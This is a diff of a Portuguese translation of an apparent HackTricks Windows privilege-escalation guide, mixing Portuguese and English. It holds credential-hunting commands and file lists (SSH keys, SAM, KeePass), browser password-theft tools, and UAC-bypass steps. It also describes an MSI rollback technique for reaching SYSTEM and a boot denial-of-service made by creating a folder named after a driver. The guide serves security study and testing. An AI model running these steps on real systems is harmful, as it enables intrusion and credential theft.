elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1212,7 +1216,7 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### Credenciais na Lixeira -Você também deve verificar a Lixeira em busca de credenciais. +Você também deve verificar a lixeira em busca de credenciais. Para **recuperar senhas** salvas por vários programas você pode usar: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) @@ -1229,10 +1233,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Histórico dos navegadores -Você deve procurar por dbs onde senhas do **Chrome or Firefox** são armazenadas. -Também verifique o histórico, bookmarks e favoritos dos navegadores, pois talvez algumas **senhas estejam** armazenadas lá. +Você deve procurar por dbs onde senhas do **Chrome ou Firefox** são armazenadas.\ +Também verifique o histórico, bookmarks e favoritos dos navegadores, pois talvez algumas **senhas** estejam armazenadas lá. -Ferramentas para extrair senhas dos navegadores: +Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1241,24 +1245,24 @@ Ferramentas para extrair senhas dos navegadores: ### **COM DLL Overwriting** -**Component Object Model (COM)** é uma tecnologia integrada ao sistema operacional Windows que permite a **intercomunicação** entre componentes de software de diferentes linguagens. Cada componente COM é **identificado via um class ID (CLSID)** e cada componente expõe funcionalidade por meio de uma ou mais interfaces, identificadas via interface IDs (IIDs). +**Component Object Model (COM)** é uma tecnologia integrada ao sistema operacional Windows que permite a **intercomunicação** entre componentes de software escritos em diferentes linguagens. Cada componente COM é **identificado via um class ID (CLSID)** e cada componente expõe funcionalidade via uma ou mais interfaces, identificadas via interface IDs (IIDs). -As classes e interfaces COM são definidas no registro sob **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface**, respectivamente. Esse registro é criado pela mesclagem de **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT**. +As classes e interfaces COM são definidas no registro sob **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface**, respectivamente. Esse registro é criado pela fusão de **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Dentro dos CLSIDs desse registro você pode encontrar a chave filha **InProcServer32**, que contém um **valor padrão** apontando para uma **DLL** e um valor chamado **ThreadingModel** que pode ser **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) ou **Neutral** (Thread Neutral). +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -Basicamente, se você puder **sobrescrever qualquer uma das DLLs** que serão executadas, você poderia **escalar privilégios** se essa DLL for executada por um usuário diferente. +Basicamente, se você conseguir sobrescrever qualquer uma das DLLs que serão executadas, você pode escalar privilégios se essa DLL for executada por um usuário diferente. -Para aprender como atacantes usam COM Hijacking como mecanismo de persistência, veja: +Para aprender como atacantes usam o COM Hijacking como mecanismo de persistência, veja: {{#ref}} com-hijacking.md {{#endref}} -### **Busca genérica de senhas em arquivos e no registro** +### **Busca genérica por senhas em arquivos e no registro** **Pesquisar por conteúdo de arquivos** ```bash @@ -1266,26 +1270,26 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Pesquisar por um arquivo com um nome específico** +**Procurar um arquivo com um determinado nome** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Pesquisar o registro por nomes de chaves e senhas** +**Pesquisar no registro por nomes de chaves e senhas** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Ferramentas que procuram por passwords +### Ferramentas que procuram por senhas -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um msf** plugin. Criei este plugin para **executar automaticamente cada metasploit POST module que procura por credentials** dentro da vítima.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) procura automaticamente por todos os arquivos que contenham passwords mencionados nesta página.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) é outra ótima ferramenta para extrair passwords de um sistema. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um plugin do msf**. Eu criei este plugin para **executar automaticamente todos os módulos POST do metasploit que procuram por credenciais** dentro da vítima.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) busca automaticamente por todos os arquivos que contêm senhas mencionadas nesta página.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) é outra ótima ferramenta para extrair senhas de um sistema. -A ferramenta [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) procura por **sessions**, **usernames** e **passwords** de várias ferramentas que salvam esses dados em texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +A ferramenta [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) busca por **sessões**, **nomes de usuário** e **senhas** de várias ferramentas que salvam esses dados em texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1294,20 +1298,20 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Imagine que **um processo em execução como SYSTEM abre um novo processo** (`OpenProcess()`) com **full access**. O mesmo processo **também cria um novo processo** (`CreateProcess()`) **com low privileges mas herdando todos os open handles do processo principal**.\ -Então, se você tem **full access ao processo com privilégios baixos**, você pode pegar o **open handle para o processo privilegiado criado** com `OpenProcess()` e **injectar um shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ +[Leia este exemplo para mais informações sobre **como detectar e explorar essa vulnerabilidade**.](leaked-handle-exploitation.md)\ +[Leia este **outro post para uma explicação mais completa sobre como testar e abusar de mais open handlers de processos e threads herdados com diferentes níveis de permissões (não apenas full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Shared memory segments, referred to as **pipes**, permitem comunicação e transferência de dados entre processos. +Segmentos de memória compartilhada, referidos como **pipes**, permitem comunicação entre processos e transferência de dados. -O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, até mesmo através de redes diferentes. Isso se assemelha a uma arquitetura client/server, com papéis definidos como **named pipe server** e **named pipe client**. +O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, até mesmo entre diferentes redes. Isso assemelha-se a uma arquitetura cliente/servidor, com papéis definidos como **named pipe server** e **named pipe client**. -Quando dados são enviados por uma **client** através de um pipe, o **server** que criou o pipe tem a capacidade de **assumir a identidade** da **client**, caso possua os direitos **SeImpersonate** necessários. Identificar um **processo privilegiado** que se comunica via um pipe que você consegue mimetizar oferece a oportunidade de **obter privilégios mais altos** ao adotar a identidade desse processo quando ele interagir com o pipe que você criou. Para instruções sobre como executar tal ataque, guias úteis podem ser encontrados [**here**](named-pipe-client-impersonation.md) e [**here**](#from-high-integrity-to-system). +Quando dados são enviados através de um pipe por um **cliente**, o **servidor** que criou o pipe tem a capacidade de **assumir a identidade** do **cliente**, desde que possua os direitos necessários **SeImpersonate**. Identificar um **processo privilegiado** que se comunica via um pipe que você pode imitar oferece a oportunidade de **obter privilégios mais altos** ao adotar a identidade desse processo assim que ele interagir com o pipe que você estabeleceu. Para instruções sobre como executar esse ataque, guias úteis podem ser encontrados [**here**](named-pipe-client-impersonation.md) e [**here**](#from-high-integrity-to-system). -Também a seguinte ferramenta permite **interceptar uma comunicação de named pipe com uma ferramenta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e esta ferramenta permite listar e ver todos os pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Além disso, a seguinte ferramenta permite **interceptar a comunicação de named pipe com uma ferramenta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e esta ferramenta permite listar e ver todos os pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Misc @@ -1317,7 +1321,7 @@ Confira a página **[https://filesec.io/](https://filesec.io/)** ### **Monitoring Command Lines for passwords** -Ao obter um shell como um usuário, pode haver tarefas agendadas ou outros processos sendo executados que **passam credenciais na linha de comando**. O script abaixo captura as linhas de comando dos processos a cada dois segundos e compara o estado atual com o estado anterior, exibindo quaisquer diferenças. +Ao obter um shell como um usuário, podem existir tarefas agendadas ou outros processos sendo executados que **passam credenciais na linha de comando**. O script abaixo captura as linhas de comando dos processos a cada dois segundos e compara o estado atual com o estado anterior, exibindo quaisquer diferenças. ```bash while($true) { @@ -1329,9 +1333,9 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ``` ## Roubando senhas de processos -## De usuário com poucos privilégios para NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## De usuário com privilégios reduzidos para NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Se você tem acesso à interface gráfica (via console ou RDP) e o UAC está ativado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como "NT\AUTHORITY SYSTEM" a partir de um usuário sem privilégios. +Se você tem acesso à interface gráfica (via console ou RDP) e o UAC está habilitado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como "NT\AUTHORITY SYSTEM" a partir de um usuário sem privilégios. Isso torna possível escalar privilégios e contornar o UAC ao mesmo tempo usando a mesma vulnerabilidade. Além disso, não há necessidade de instalar nada e o binário usado durante o processo é assinado e emitido pela Microsoft. @@ -1357,7 +1361,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Para explorar essa vulnerabilidade, é necessário realizar os seguintes passos: +Para explorar esta vulnerabilidade, é necessário executar os seguintes passos: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1375,20 +1379,20 @@ Para explorar essa vulnerabilidade, é necessário realizar os seguintes passos: 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -You have all the necessary files and information in the following GitHub repository: +Você tem todos os arquivos e informações necessárias no seguinte repositório GitHub: https://github.com/jas502n/CVE-2019-1388 ## From Administrator Medium to High Integrity Level / UAC Bypass -Read this to **learn about Integrity Levels**: +Leia isto para **aprender sobre Níveis de Integridade**: {{#ref}} integrity-levels.md {{#endref}} -Then **read this to learn about UAC and UAC bypasses:** +Então **leia isto para aprender sobre UAC e bypasses do UAC:** {{#ref}} @@ -1397,98 +1401,98 @@ Then **read this to learn about UAC and UAC bypasses:** ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +A técnica descrita [**neste post do blog**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) com um código de exploit [**disponível aqui**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload. +O ataque basicamente consiste em abusar do recurso de rollback do Windows Installer para substituir arquivos legítimos por maliciosos durante o processo de desinstalação. Para isso o atacante precisa criar um **malicious MSI installer** que será usado para sequestrar a pasta `C:\Config.Msi`, a qual depois será usada pelo Windows Installer para armazenar arquivos de rollback durante a desinstalação de outros pacotes MSI, onde os arquivos de rollback teriam sido modificados para conter o payload malicioso. -The summarized technique is the following: +A técnica resumida é a seguinte: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). -- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. -- Keep a **handle** open to the file after install. +- Crie um `.msi` que instale um arquivo inofensivo (por exemplo, `dummy.txt`) em uma pasta gravável (`TARGETDIR`). +- Marque o instalador como **"UAC Compliant"**, assim um **usuário não-admin** pode executá‑lo. +- Mantenha um **handle** aberto para o arquivo após a instalação. - Step 2: Begin Uninstall -- Uninstall the same `.msi`. -- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). -- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. +- Desinstale o mesmo `.msi`. +- O processo de desinstalação começa a mover arquivos para `C:\Config.Msi` e renomeá‑los para arquivos `.rbf` (backups de rollback). +- **Poll the open file handle** usando `GetFinalPathNameByHandle` para detectar quando o arquivo se torna `C:\Config.Msi\.rbf`. - Step 3: Custom Syncing -- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: -- Signals when `.rbf` has been written. -- Then **waits** on another event before continuing the uninstall. +- O `.msi` inclui uma **custom uninstall action (`SyncOnRbfWritten`)** que: +- Sinaliza quando o `.rbf` foi escrito. +- Então **espera** por outro evento antes de continuar a desinstalação. - Step 4: Block Deletion of `.rbf` -- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. -- Then **signal back** so the uninstall can finish. -- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. +- Quando sinalizado, **abra o arquivo `.rbf`** sem `FILE_SHARE_DELETE` — isso **impede que ele seja deletado**. +- Então **sinalize de volta** para que a desinstalação possa terminar. +- O Windows Installer não consegue deletar o `.rbf`, e como não consegue deletar todo o conteúdo, **`C:\Config.Msi` não é removido**. - Step 5: Manually Delete `.rbf` -- You (attacker) delete the `.rbf` file manually. -- Now **`C:\Config.Msi` is empty**, ready to be hijacked. +- Você (atacante) deleta o arquivo `.rbf` manualmente. +- Agora **`C:\Config.Msi` está vazio**, pronto para ser sequestrado. -> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. +> Nesse ponto, **ative a vulnerabilidade de deletion arbitrária de pasta em nível SYSTEM** para deletar `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Recreate the `C:\Config.Msi` folder yourself. -- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. +- Recrie a pasta `C:\Config.Msi` você mesmo. +- Defina **DACLs fracas** (por exemplo, Everyone:F), e **mantenha um handle aberto** com `WRITE_DAC`. - Step 7: Run Another Install -- Install the `.msi` again, with: -- `TARGETDIR`: Writable location. -- `ERROROUT`: A variable that triggers a forced failure. -- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. +- Instale o `.msi` novamente, com: +- `TARGETDIR`: Local gravável. +- `ERROROUT`: Uma variável que provoca uma falha forçada. +- Essa instalação será usada para disparar o **rollback** novamente, que lê `.rbs` e `.rbf`. - Step 8: Monitor for `.rbs` -- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. -- Capture its filename. +- Use `ReadDirectoryChangesW` para monitorar `C:\Config.Msi` até que um novo `.rbs` apareça. +- Capture seu nome de arquivo. - Step 9: Sync Before Rollback -- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: -- Signals an event when the `.rbs` is created. -- Then **waits** before continuing. +- O `.msi` contém uma **custom install action (`SyncBeforeRollback`)** que: +- Sinaliza um evento quando o `.rbs` é criado. +- Então **espera** antes de continuar. - Step 10: Reapply Weak ACL -- After receiving the `.rbs created` event: -- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. -- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. +- Após receber o evento ` .rbs created`: +- O Windows Installer **reaplica ACLs fortes** para `C:\Config.Msi`. +- Mas como você ainda tem um handle com `WRITE_DAC`, você pode **reaplicar ACLs fracas** novamente. -> ACLs are **only enforced on handle open**, so you can still write to the folder. +> ACLs são **aplicadas apenas quando o handle é aberto**, então você ainda pode escrever na pasta. - Step 11: Drop Fake `.rbs` and `.rbf` -- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: -- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. +- Sobrescreva o arquivo `.rbs` com um **fake rollback script** que instrui o Windows a: +- Restaurar seu `.rbf` (malicious DLL) em um **local privilegiado** (por exemplo, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Depositar seu fake `.rbf` contendo uma **malicious SYSTEM-level payload DLL**. - Step 12: Trigger the Rollback -- Signal the sync event so the installer resumes. -- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. -- This causes **rollback to begin**. +- Sinalize o evento de sincronização para que o instalador retome. +- Uma **type 19 custom action (`ErrorOut`)** é configurada para **falhar intencionalmente a instalação** em um ponto conhecido. +- Isso faz com que o **rollback seja iniciado**. - Step 13: SYSTEM Installs Your DLL -- Windows Installer: -- Reads your malicious `.rbs`. -- Copies your `.rbf` DLL into the target location. -- You now have your **malicious DLL in a SYSTEM-loaded path**. +- O Windows Installer: +- Lê seu `.rbs` malicioso. +- Copia seu `.rbf` DLL para o local de destino. +- Agora você tem sua **malicious DLL em um caminho carregado pelo SYSTEM**. - Final Step: Execute SYSTEM Code -- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. -- **Boom**: Your code is executed **as SYSTEM**. +- Execute um binário confiável **auto-elevado** (por exemplo, `osk.exe`) que carrega a DLL que você sequestrou. +- **Boom**: Seu código é executado **como SYSTEM**. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? +A técnica principal de rollback do MSI (a anterior) assume que você pode deletar uma **pasta inteira** (por exemplo, `C:\Config.Msi`). Mas e se sua vulnerabilidade só permitir **deleção arbitrária de arquivos**? -You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: +Você poderia explorar os **internos do NTFS**: toda pasta tem um fluxo de dados alternativo oculto chamado: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -This stream armazena os **metadados de índice** da pasta. +Este stream armazena os **metadados de índice** da pasta. Portanto, se você **excluir o stream `::$INDEX_ALLOCATION`** de uma pasta, o NTFS **remove a pasta inteira** do sistema de arquivos. @@ -1496,27 +1500,27 @@ Você pode fazer isso usando APIs padrão de exclusão de arquivos como: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Mesmo que você esteja chamando uma API de exclusão de *file*, ela **exclui a própria pasta**. +> Mesmo que você esteja chamando uma API de exclusão de *arquivo*, ela **exclui a própria pasta**. -### De Folder Contents Delete para SYSTEM EoP -E se sua primitiva não permitir que você exclua arquivos/pastas arbitrários, mas ela **permitir a exclusão do *contents* de uma pasta controlada pelo atacante**? +### From Folder Contents Delete to SYSTEM EoP +What if your primitive doesn’t allow you to delete arbitrary files/folders, but it **does allow deletion of the *contents* of an attacker-controlled folder**? -1. Passo 1: Crie uma pasta de isca e um arquivo +1. Passo 1: Crie uma pasta isca e um arquivo - Crie: `C:\temp\folder1` - Dentro dela: `C:\temp\folder1\file1.txt` 2. Passo 2: Coloque um **oplock** em `file1.txt` -- O oplock **pausa a execução** quando um processo privilegiado tenta excluir `file1.txt`. +- O **oplock** **pausa a execução** quando um processo privilegiado tenta excluir `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Passo 3: Acionar o processo SYSTEM (por exemplo, `SilentCleanup`) -- Esse processo verifica pastas (por exemplo, `%TEMP%`) e tenta excluir o conteúdo delas. -- Quando atingir `file1.txt`, o **oplock triggers** e entrega o controle ao seu callback. +3. Etapa 3: Acionar o processo SYSTEM (por exemplo, `SilentCleanup`) +- Esse processo varre pastas (por exemplo, `%TEMP%`) e tenta excluir seu conteúdo. +- Quando chegar em `file1.txt`, o **oplock é acionado** e passa o controle para seu callback. -4. Passo 4: Dentro do oplock callback – redirecionar a exclusão +4. Etapa 4: Dentro do callback do oplock – redirecionar a exclusão - Opção A: Mover `file1.txt` para outro local - Isso esvazia `folder1` sem quebrar o oplock. @@ -1532,68 +1536,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Isso tem como alvo o stream interno do NTFS que armazena metadados da pasta — apagá-lo apaga a pasta. +> Isso mira o stream interno do NTFS que armazena metadados da pasta — excluí-lo exclui a pasta. 5. Passo 5: Liberar o oplock -- O processo SYSTEM continua e tenta apagar `file1.txt`. -- Mas agora, devido à junction + symlink, ele está na verdade apagando: +- O processo SYSTEM continua e tenta excluir `file1.txt`. +- Mas agora, devido à junction + symlink, na verdade está excluindo: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Resultado**: `C:\Config.Msi` é excluído pelo SYSTEM. -### De criação arbitrária de pastas para DoS permanente +### De criação arbitrária de pasta para DoS permanente -Aproveite uma primitiva que permite que você crie uma pasta arbitrária como **SYSTEM/admin** — mesmo se você não puder gravar arquivos ou definir permissões fracas. +Exploit uma primitiva que permite que você **crie uma pasta arbitrária como SYSTEM/admin** — mesmo se **você não puder gravar arquivos** ou **definir permissões fracas**. -Crie uma **pasta** (não um arquivo) com o nome de um **critical Windows driver**, por exemplo: +Crie uma **pasta** (não um arquivo) com o nome de um **driver crítico do Windows**, por exemplo: ``` C:\Windows\System32\cng.sys ``` - Este caminho normalmente corresponde ao driver em modo kernel `cng.sys`. -- Se você o criar previamente como uma pasta, o Windows falha ao carregar o driver real na inicialização. +- Se você **pré-criar o caminho como uma pasta**, o Windows falha ao carregar o driver real durante a inicialização. - Então, o Windows tenta carregar `cng.sys` durante a inicialização. -- Ele vê a pasta, **falha em resolver o driver real**, e **trava ou interrompe a inicialização**. -- Não há **fallback**, e **nenhuma recuperação** sem intervenção externa (por exemplo, reparo da inicialização ou acesso ao disco). +- Ele vê a pasta, **não consegue resolver o driver real**, e **trava ou interrompe a inicialização**. +- Não há **no fallback**, e **no recovery** sem intervenção externa (por exemplo, reparo de boot ou acesso ao disco). ## **From High Integrity to System** -### **New service** +### **Novo serviço** -Se você já está executando em um processo High Integrity, o **caminho para SYSTEM** pode ser fácil apenas **criando e executando um novo serviço**: +Se você já está executando em um processo High Integrity, o **path to SYSTEM** pode ser fácil apenas **criando e executando um novo serviço**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Ao criar um binário de serviço, certifique-se de que é um serviço válido ou que o binário executa as ações necessárias rapidamente, pois será encerrado em 20s se não for um serviço válido. +> Ao criar um binário de serviço certifique-se de que é um serviço válido ou que o binário execute as ações necessárias rapidamente, pois será encerrado em 20s se não for um serviço válido. ### AlwaysInstallElevated From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ -[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) +[Mais informações sobre as chaves de registro envolvidas e como instalar um pacote _.msi_ aqui.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Você pode** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**Você pode** [**encontrar o código aqui**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ -Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ -**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +Se você tiver esses privilégios de token (provavelmente os encontrará em um processo já High Integrity), você poderá **abrir quase qualquer processo** (processos não protegidos) com o privilégio SeDebug, **copiar o token** do processo e criar um **processo arbitrário com esse token**.\ +Ao usar esta técnica normalmente **seleciona-se qualquer processo em execução como SYSTEM com todos os privilégios de token** (_sim, você pode encontrar processos SYSTEM sem todos os privilégios de token_).\ +**Você pode encontrar um** [**exemplo de código executando a técnica proposta aqui**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ -If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ -If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). +This technique is used by meterpreter to escalate in `getsystem`. A técnica consiste em **criar um pipe e então criar/abusar de um service para escrever nesse pipe**. Então, o **server** que criou o pipe usando o privilégio **`SeImpersonate`** será capaz de **impersonar o token** do cliente do pipe (o serviço) obtendo privilégios SYSTEM.\ +Se você quiser [**aprender mais sobre name pipes você deve ler isto**](#named-pipe-client-impersonation).\ +Se quiser ler um exemplo de [**como ir de high integrity para System usando name pipes você deve ler isto**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Se você conseguir **hijack uma dll** sendo **loaded** por um **process** executando como **SYSTEM**, você conseguirá executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é muito **mais fácil de conseguir a partir de um High Integrity process** já que ele terá **write permissions** nas pastas usadas para carregar dlls.\ -**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** +Se você conseguir **hijackar uma dll** que esteja sendo **carregada** por um **processo** em execução como **SYSTEM** você será capaz de executar código arbitrário com essas permissões. Portanto Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é muito **mais fácil de alcançar a partir de um processo de high integrity**, pois este terá **permissões de escrita** nas pastas usadas para carregar dlls.\ +**Você pode** [**aprender mais sobre Dll hijacking aqui**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1603,7 +1607,7 @@ Se você conseguir **hijack uma dll** sendo **loaded** por um **process** execut ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Leia:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) ## Mais ajuda @@ -1611,30 +1615,30 @@ Se você conseguir **hijack uma dll** sendo **loaded** por um **process** execut ## Ferramentas úteis -**Melhor ferramenta para procurar vetores de escalonamento de privilégios locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Verifica misconfigurações e arquivos sensíveis (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detectado.**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Verifica por misconfigurações e arquivos sensíveis (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ 